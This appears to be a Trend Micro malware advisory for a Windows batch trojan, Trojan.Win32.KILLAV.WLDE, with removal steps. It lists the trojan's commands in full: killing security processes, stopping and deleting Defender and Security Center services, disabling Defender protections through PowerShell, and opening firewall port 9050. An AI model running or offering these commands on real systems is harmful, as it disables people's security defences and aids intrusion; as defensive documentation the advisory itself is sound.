Trojan.Win32.KILLAV.WLDE

 Analysis by: Alyssa Christelle Ramos

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

2,713 bytes

File Type:

BAT

Memory Resident:

No

Initial Samples Received Date:

16 Jul 2020

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • netsh advfirewall firewall add rule name="WSUS" dir=in action=allow protocol=TCP localport=9050
  • taskkill /F /IM SecurityHealthHost.exe
  • taskkill /F /IM SecHealthUI.exe
  • taskkill /F /IM SecurityHealthSystray.exe
  • taskkill /F /IM MpCmdRun.exe
  • taskkill /F /IM MSASCui.exe
  • taskkill /F /IM MSASCuiL.exe
  • %System%\cmd.exe /c ver
  • sc config WinDefend start=disabled
  • sc stop WinDefend
  • sc delete WinDefend
  • sc config wscsvc start=disabled
  • sc stop wscsvc
  • sc delete wscsvc
  • sc config SecurityHealthService start=disabled
  • sc stop SecurityHealthService
  • sc delete SecurityHealthService
  • sc config WdNisSvc start=disabled
  • sc stop WdNisSvc
  • sc delete WdNisSvc
  • sc config Sense start=disabled
  • sc stop Sense
  • sc delete Sense
  • sc config SecurityHealthServicestart=disabled
  • Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
  • %User Temp%\6CC70633-5390-4015-B4AF-3E942173D248\dismhost.exe {39A2C126-CAE5-4784-96BE-423A231B5103}
  • powershell -c Set-MpPreference -DisableRealtimeMonitoring $true
  • powershell -c Set-MpPreference -DisableBehaviorMonitoring $true
  • powershell -c Set-MpPreference -DisableBlockAtFirstSeen $true
  • powershell -c Set-MpPreference -DisableIOAVProtection $true
  • powershell -c Set-MpPreference -DisableScriptScanning $true
  • powershell -c Set-MpPreference -SubmitSamplesConsent 2
  • powershell -c Set-MpPreference -MAPSReporting 0
  • powershell -c Set-MpPreference -HighThreatDefaultAction 6 -Force
  • powershell -c Set-MpPreference -ModerateThreatDefaultAction 6
  • powershell -c Set-MpPreference -LowThreatDefaultAction 6
  • powershell -c Set-MpPreference -SevereThreatDefaultAction 6
  • powershell -c Stop-Service WinDefend
  • powershell -c Set-Service WinDefend -StartupType Disabled
  • powershell -c Stop-Service wscsvc
  • powershell -c Set-Service wscsvc -StartupType Disabled
  • powershell -c Stop-Service WdNisSvc
  • powershell -c Set-Service WdNisSvc -StartupType Disabled
  • powershell -c Stop-Service Sense
  • powershell -c Set-Service Sense -StartupType Disabled
  • powershell -c Stop-Service SecurityHealthService
  • powershell -c Set-Service SecurityHealthService -StartupType Disabled

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.. %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

16.106.06

FIRST VSAPI PATTERN DATE:

16 Jul 2020

VSAPI OPR PATTERN File:

16.107.00

VSAPI OPR PATTERN Date:

17 Jul 2020

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Trojan.Win32.KILLAV.WLDE. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


Did this description help? Tell us how we did.